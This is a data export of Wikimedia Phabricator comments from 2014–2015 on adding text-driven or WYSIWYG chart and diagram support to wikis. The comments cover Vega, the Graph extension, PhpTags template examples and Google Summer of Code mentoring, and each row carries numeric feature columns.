410114,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Actually, this was one of the rawest ideas in the project list and is absolutely not usable for GSoC, unless a student comes who has an extremely clear idea of a feature to add and a plan for it. I'll move the possible project tag to T56222. The other blocker, T40271, would also be suitable, but I doubt it would benefit from GSoC (iterative GSoC cycles over the same problem rarely helped anything).",,,1423684001,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,84,,0.0,1.0,2.0,0.0,1.0,8.0,1.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,7.0,12.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,11.0,4.0,11.0,1.0,4.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.0,12.0,7.0,0.0,0.0,0.0,5.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,3.9166666666666665,0.75,"Actually, this was one of the rawest ideas in the project list and is absolutely not usable for GSoC, unless a student comes who has an extremely clear idea of a feature to add and a plan for it. I'll move the possible project tag to T56222. The other blocker, T40271, would also be suitable, but I doubt it would benefit from GSoC (iterative GSoC cycles over the same problem rarely helped anything)."
410110,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",This task is about wikitext. VisualEditor support for the markup is a separate issue.,,,1423683746,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.5,0.875,This task is about wikitext. VisualEditor support for the markup is a separate issue.
409873,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@qgil, I can totally see this becoming a GSoC project, but most of the mentorship would have to come from the UI/Visual Editor team because they have the expertise in building custom editors.  The student would build an editor with a dynamically updated viewer for the VE.  I already have a simplified version of that [[ http://graph.wmflabs.org/w/index.php?title=Graph:Stocks&action=edit | here ]] -- click preview and try changing the graph definition.",,,1423664307,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,12.0,1.0,2.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,5.0,0.0,4.0,0.0,1.0,1.0,4.1,0.7875,"SCREEN_NAME, I can totally see this becoming a GSoC project, but most of the mentorship would have to come from the UI/Visual Editor team because they have the expertise in building custom editors.  The student would build an editor with a dynamically updated viewer for the VE.  I already have a simplified version of that [[ URL | here ]] -- click preview and try changing the graph definition."
409827,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Wikimedia will [[ https://phabricator.wikimedia.org/T921 | apply to Google Summer of Code and Outreachy ]] on Tuesday, February 17. If you want this task to become a featured project idea, please follow [[ https://phabricator.wikimedia.org/project/view/1042/ | these instructions ]]. ",,,1423662263,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,2.0,11.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,3.6222222222222222,0.7555555555555555,"Wikimedia will [[ URL | apply to Google Summer of Code and Outreachy ]] on Tuesday, February 17. If you want this task to become a featured project idea, please follow [[ URL | these instructions ]]. "
409694,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","@Milimetric, @Yurik, is there a possible project related to this task that students like @Sumit could plan for in the context of Google Summer of Code 2015 (and that you would like to mentor)? Something about #MediaWiki-extensions-Graph ?",,,1423648511,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,17.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,17.0,9.0,4.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.48936170212766,0.851063829787234,"SCREEN_NAME,SCREEN_NAME, is there a possible project related to this task that students likeSCREEN_NAME could plan for in the context of Google Summer of Code 2015 (and that you would like to mentor)? Something about #MediaWiki-extensions-Graph ?"
409656,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","> I'd like to take this up as a project. Is this still open for taking up and developing for this year?

It's open, but not ready. Please choose one of the extensions mentioned by this report and start filing patches against them. When you find one you're comfortable developing, you'll know the area you can work on.",,,1423643389,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,True,,,84,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,4.0,2.0,4.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,2.0,4.0,7.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.8260869565217391,"QUOTE

It's open, but not ready. Please choose one of the extensions mentioned by this report and start filing patches against them. When you find one you're comfortable developing, you'll know the area you can work on."
409649,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)",I'd like to take this up as a project. Is this still open for taking up and developing for this year?,,,1423640170,,PHID-USER-ll7x5qhzru4lqz3xfdbm,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,84,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,25.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,25.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,3.375,0.8333333333333334,I'd like to take this up as a project. Is this still open for taking up and developing for this year?
241447,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Sorry, meant to post last comment for bug 43616.  Yet, for this request, graph ext is still applicable, except that it is not wysiwyg unless some brave soul starts hacking a proper vega editor.",,,1411455023,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,64,,2.0,0.0,0.0,0.0,2.0,12.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,5.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.902439024390244,0.8536585365853658,"Sorry, meant to post last comment for bug 43616.  Yet, for this request, graph ext is still applicable, except that it is not wysiwyg unless some brave soul starts hacking a proper vega editor."
241440,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Graph extension might be applicable, even though it is not dynamic (yet), or even in production wikis, it does support various timelines, e.g. ""Napoleon"" at http://trifacta.github.io/vega/editor/ :)

See https://www.mediawiki.org/wiki/Extension:Graph and samples at https://www.mediawiki.org/wiki/Extension:Graph/Demo 

Discussion at https://meta.wikimedia.org/wiki/Wikimedia_Forum#Graphs.2C_Maps.2C_..._.28experimental.29",,,1411454841,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,64,,0.0,0.0,0.0,0.0,2.0,7.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,11.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.847826086956522,0.7391304347826086,"Graph extension might be applicable, even though it is not dynamic (yet), or even in production wikis, it does support various timelines, e.g. ""Napoleon"" at URL :)

See URL and samples at URL 

Discussion at URL"
241434,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","I think what you're saying makes sense Pavel.  And no worries, to participate in this community you have to be really good at dealing with distractions.  I'm still waiting for someone else to help with mentoring on this important project.  I think someone with mediawiki extension development experience would be great.  Part of the reason I can't comment more, Pavel, is that I don't know anything about mediawiki extensions :)",,,1392061032,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,32,,0.0,4.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,6.0,0.0,6.0,15.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,1.0,4.0,11.0,1.0,1.0,5.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,8.0,15.0,4.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,0.0,5.0,1.0,0.0,0.0,4.223529411764706,0.7176470588235294,"I think what you're saying makes sense Pavel.  And no worries, to participate in this community you have to be really good at dealing with distractions.  I'm still waiting for someone else to help with mentoring on this important project.  I think someone with mediawiki extension development experience would be great.  Part of the reason I can't comment more, Pavel, is that I don't know anything about mediawiki extensions :)"
241427,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Thanks, Dan. Vaga is excellent.

But, for example, I need a template to draw a bar of population.
The template takes a comma-separated list of cities.
The population is taken from the wikidata.

{{MyTemplate
| cities=London,Berlin,Paris
}}

Source of wikipage Template:MyTemplate:

... Some wiki markup ...
<phptag>
if ( isset($args[cities]) ) {
  $cities = explode( $delimiter, $args[cities] );
  $population = AskWikidata( 'Give me population of cities', $cities );
  $data = array_combine($cities, $population);
  echo new Vega( 
      $data,
      [ 'size'=>[400,200], 'scales'=>['x'=>'cities', y=>'population'] ] 
    );
}
</phptag>
... Some wiki markup ...

There are:
* functions 'explode', 'array_combine' is hooks of the extension PphTags Functions. (already done)
* function 'AskWikidata' is fictional, but can be implemented as hook of some extension
* objects 'Vega' is fictional, but can be implemented as hook of some extension
* 'if', 'isset', 'echo' and '[...] (array definition)' is functions of extension PhpTags (already done)

Suppose I'm developer of the extension Vega.
I should just take the javascript source code from Vega and register hook in the extension PhpTags.

source of Vega.php:

$wgHooks['PhpTagsRuntimeFirstInit'][] = 'VegaExtension::initializeRuntime';

class VegaExtension {
  public static function initializeRuntime() {
    \PhpTags\Runtime::setObjectsHook( 'VegaObject', array('Vega') );
  }
}

class VegaObject extends PhpTags\BaseHooks {
  public static function onObjectHook( ... ) {
    // some code
  }
}

The Class VegaObject will receive the arrays of data and parameters from the PhpTags,
and when the function 'echo' is called returns all the necessary data for drowing the bar on the wikipage.
a large part of the code (such as processing of various parameters) have to be implemented in the class PhpTags\BaseHooks.
The class VegaObject will just have to inform PhpTags that it needs 'vega.min.js' and convey to one ready parameters.
Since it is very simple, similar extensions can be done in one day.

Maybe I'm writing all this is off topic, forgive me please.
But I can not find anyone interested in this.
I guess I'm looking for not out there, or can not speak understandable.
Maybe I just doing nonsense and distract people from her work, I do not know.",,,1391663088,,PHID-USER-qdblhomoh775qwgc6rra,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,1.1666666666666667,0.16666666666666666,0.16666666666666666,1.0,0.8333333333333334,3.1666666666666665,0.8333333333333334,0.0,0.0,0.3333333333333333,1.1666666666666667,6.0,0.0,0.0,0.16666666666666666,2.0,0.16666666666666666,2.6666666666666665,6.833333333333333,0.16666666666666666,0.5,0.16666666666666666,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,0.0,0.8333333333333334,0.3333333333333333,0.0,3.8333333333333335,0.6666666666666666,0.3333333333333333,0.5,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,0.0,3.3333333333333335,0.0,0.5,0.0,0.0,0.0,11.666666666666666,0.3333333333333333,0.16666666666666666,0.0,0.5,0.3333333333333333,0.0,0.0,0.0,0.5,0.0,0.6666666666666666,0.8333333333333334,0.0,0.3333333333333333,0.0,0.0,0.0,3.5,2.3333333333333335,9.333333333333334,0.8333333333333334,2.0,5.166666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.16666666666666666,0.5,0.0,2.5,6.833333333333333,5.0,0.0,5.333333333333333,0.0,2.5,0.0,0.16666666666666666,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,1.8333333333333333,3.8620689655172407,0.5957854406130269,"Thanks, Dan. Vaga is excellent.

But, for example, I need a template to draw a bar of population.
The template takes a comma-separated list of cities.
The population is taken from the wikidata.

{{MyTemplate
| cities=London,Berlin,Paris
}}

Source of wikipage Template:MyTemplate:

... Some wiki markup ...
<phptag>
if ( isset($args[cities]) ) {
  $cities = explode( $delimiter, $args[cities] );
  $population = AskWikidata( 'Give me population of cities', $cities );
  $data = array_combine($cities, $population);
  echo new Vega( 
      $data,
      [ 'size'=>[400,200], 'scales'=>['x'=>'cities', y=>'population'] ] 
    );
}
</phptag>
... Some wiki markup ...

There are:
* functions 'explode', 'array_combine' is hooks of the extension PphTags Functions. (already done)
* function 'AskWikidata' is fictional, but can be implemented as hook of some extension
* objects 'Vega' is fictional, but can be implemented as hook of some extension
* 'if', 'isset', 'echo' and '[...] (array definition)' is functions of extension PhpTags (already done)

Suppose I'm developer of the extension Vega.
I should just take the javascript source code from Vega and register hook in the extension PhpTags.

source of Vega.php:

$wgHooks['PhpTagsRuntimeFirstInit'][] = 'VegaExtension::initializeRuntime';

class VegaExtension {
  public static function initializeRuntime() {
    \PhpTags\Runtime::setObjectsHook( 'VegaObject', array('Vega') );
  }
}

class VegaObject extends PhpTags\BaseHooks {
  public static function onObjectHook( ... ) {
    // some code
  }
}

The Class VegaObject will receive the arrays of data and parameters from the PhpTags,
and when the function 'echo' is called returns all the necessary data for drowing the bar on the wikipage.
a large part of the code (such as processing of various parameters) have to be implemented in the class PhpTags\BaseHooks.
The class VegaObject will just have to inform PhpTags that it needs 'vega.min.js' and convey to one ready parameters.
Since it is very simple, similar extensions can be done in one day.

Maybe I'm writing all this is off topic, forgive me please.
But I can not find anyone interested in this.
I guess I'm looking for not out there, or can not speak understandable.
Maybe I just doing nonsense and distract people from her work, I do not know."
241419,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Dan, thank you for pushing this proposal. If you want to jump to the GSoC 2014 train you need to:

* Take https://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#Support_for_text.2Fsyntax.2Fmarkup_driven_or_WYSIWYG_editable_charts.2C_diagrams.2C_graphs.2C_flowcharts_etc. , shorten the title, expand the description (one paragraph is enough), and move it under https://www.mediawiki.org/wiki/Mentorship_programs/Possible_projects#Featured_project_ideas

* Find a second mentor.

The sooner the better, since Wikimedia will be evaluated by the GSoC organizers in the next 1-2 weeks. You will know you are ready when your project looks great at https://www.mediawiki.org/wiki/Google_Summer_of_Code_2014

More: http://lists.wikimedia.org/pipermail/wikitech-l/2014-February/074277.html",,,1391623649,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,1.0,0.0,6.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,1.0,0.0,6.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,3.0,15.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,3.0,0.0,0.0,3.5638297872340425,0.723404255319149,"Dan, thank you for pushing this proposal. If you want to jump to the GSoC 2014 train you need to:

* Take URL , shorten the title, expand the description (one paragraph is enough), and move it under URL

* Find a second mentor.

The sooner the better, since Wikimedia will be evaluated by the GSoC organizers in the next 1-2 weeks. You will know you are ready when your project looks great at URL

More: URL"
241412,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","Thanks Pavel.  I like the syntax you mention.  The advantage to using Vega JS syntax would be that it's a healthy active project and we get the parser, etc. for free.  Check it out if you haven't had a chance, I linked to it above.",,,1391615361,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,9.0,2.0,5.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,14.0,4.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,14.0,11.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,3.280701754385965,0.7368421052631579,"Thanks Pavel.  I like the syntax you mention.  The advantage to using Vega JS syntax would be that it's a healthy active project and we get the parser, etc. for free.  Check it out if you haven't had a chance, I linked to it above."
241404,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","I'd suggest using a scripting language as markup for the editable charts, diagrams, graphs, flowcharts etc.

For end users this may be like the example:

== Extension:Graph ==

 G { ""Bonn"" --> ""Berlin"" [ style: bold; ] }    
As
Graph( [ ""Bonn"" => [ ""Berlin"", ""style""=>""bold"" ] ] );
or 
$bonn = node(""Bonn"");
$bonn->linkTo( node(""Berlin"", ""bold"") );
Graph( $bonn );

== Extension:WikiPlot ==

<wikiplot height=""200"" width=""200"" caption=""Simple plot"" xspan=""-100;100"" yspan=""-100;100"">
        <graph label=""Graph 1."" color=""255,0,0"">x+4</graph>
        <graph label=""Graph 2."">3*x-3</graph>
</wikiplot>

as 

$plot = new Plot( ['height'=>200, 'width'=>200, 'caption'=>'Simple plot', 'xspan'=>[-100, 100], 'yspan'=>[-100, 100] ] );

or 

$plot = new Plot();
$plot->height = 200;
$plot->width = 200;
$plot->caption = ""Simple plot"";
$plot->xspan = [-100, 100];
$plot->yspan = [-100, 100];

and

$plot.addGraph( ['x+4', 'label'=> 'Graph 1.', 'color'=>[255,0,0] ]);

$graph = new Graph( ""3*x-3"" );
$graph->label = 'Graph 2.'
$plot.add( $graph );

echo $plot;

It looks like directly code execution, but it is not.
I did mw:Extension:Foxway for testing possibility of this. I ascertained that this may work and may work quickly.
Now I do new mw:Extension:PhpTags. There any extension can register a hook as a constant, function or object.
So far I have only worked on the functions and constants, and did not start work on objects.
I am sure that the PhpTags will cover all the needs and will be convenient and powerful tool.
I would like to find someone interested in discussing this.",,,1391598767,,PHID-USER-qdblhomoh775qwgc6rra,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,0.4,0.2,0.0,0.0,0.4,3.6,0.6,0.0,0.0,0.0,1.0,3.0,0.0,0.2,0.0,1.6,0.2,2.2,3.4,0.2,0.2,0.0,0.0,0.0,0.6,0.4,0.0,0.2,0.8,1.0,0.0,1.8,0.4,0.4,0.6,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.2,2.2,0.0,0.8,0.0,0.0,0.2,11.4,0.8,0.0,0.0,0.0,0.0,0.0,0.2,0.2,0.2,0.0,0.4,0.4,0.0,0.0,0.0,0.0,0.0,1.8,0.8,7.4,0.4,2.4,3.2,0.0,0.0,0.0,0.0,2.6,0.0,2.6,0.0,2.2,3.4,5.2,0.0,7.6,0.0,2.2,0.0,0.0,0.6,0.0,0.4,0.2,0.0,5.0,3.3061675272518642,0.5683591508892714,"I'd suggest using a scripting language as markup for the editable charts, diagrams, graphs, flowcharts etc.

For end users this may be like the example:

== Extension:Graph ==

 G { ""Bonn"" --> ""Berlin"" [ style: bold; ] }    
As
Graph( [ ""Bonn"" => [ ""Berlin"", ""style""=>""bold"" ] ] );
or 
$bonn = node(""Bonn"");
$bonn->linkTo( node(""Berlin"", ""bold"") );
Graph( $bonn );

== Extension:WikiPlot ==

<wikiplot height=""200"" width=""200"" caption=""Simple plot"" xspan=""-100;100"" yspan=""-100;100"">
        <graph label=""Graph 1."" color=""255,0,0"">x+4</graph>
        <graph label=""Graph 2."">3*x-3</graph>
</wikiplot>

as 

$plot = new Plot( ['height'=>200, 'width'=>200, 'caption'=>'Simple plot', 'xspan'=>[-100, 100], 'yspan'=>[-100, 100] ] );

or 

$plot = new Plot();
$plot->height = 200;
$plot->width = 200;
$plot->caption = ""Simple plot"";
$plot->xspan = [-100, 100];
$plot->yspan = [-100, 100];

and

$plot.addGraph( ['x+4', 'label'=> 'Graph 1.', 'color'=>[255,0,0] ]);

$graph = new Graph( ""3*x-3"" );
$graph->label = 'Graph 2.'
$plot.add( $graph );

echo $plot;

It looks like directly code execution, but it is not.
I did mw:Extension:Foxway for testing possibility of this. I ascertained that this may work and may work quickly.
Now I do new mw:Extension:PhpTags. There any extension can register a hook as a constant, function or object.
So far I have only worked on the functions and constants, and did not start work on objects.
I am sure that the PhpTags will cover all the needs and will be convenient and powerful tool.
I would like to find someone interested in discussing this."
241398,"Support for text/syntax/markup driven or WYSIWYG editable charts, diagrams, graphs, flowcharts etc. (Identify, develop, review and deploy extension on Wikimedia wikis to add)","tl;dr; I would be interested in being a mentor here, and probably collaborating until a solution is reached.

We've done some thinking about this while we developed Limn [1] last year.  I believe Limn was headed in the wrong direction, but we (team analytics) are interested in solving this problem and it would be nice to combine efforts with anyone that is also interested.  Currently, I believe that Vega JS [2] is a very promising library.  It has a great mixture of simplicity and power.

My personal opinion is that creating and editing infographics would work much like Visual Editor does.  There would be a simple JSON editor on the front end, which could evolve over time.  When saved, this would use a server to generate static infographics for consumption by the cache layer.  The dynamic infographic could be accessed through a link on the static image.  The cache could be repopulated with up-to-date infographics periodically if they depend on external data.  For this vision, Vega JS is quite suitable as it can generate PNGs server side for example.


[1] https://github.com/wikimedia/limn
[2] http://trifacta.github.io/vega/",,,1391530733,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-khbn3xwnzxzqjmsvryrq,task_subcomment,,True,c1,3,False,,,31,,0.6666666666666666,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,6.0,3.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,3.3333333333333335,10.333333333333334,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,1.6666666666666667,1.6666666666666667,0.0,4.333333333333333,1.0,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,2.0,0.0,1.0,0.0,0.0,0.3333333333333333,12.666666666666666,1.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.666666666666667,9.0,1.6666666666666667,1.6666666666666667,7.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,10.333333333333334,3.0,0.0,0.0,0.0,4.0,0.0,1.0,2.3333333333333335,0.0,1.3333333333333333,0.0,0.0,1.0,3.9692982456140355,0.7763157894736842,"tl;dr; I would be interested in being a mentor here, and probably collaborating until a solution is reached.

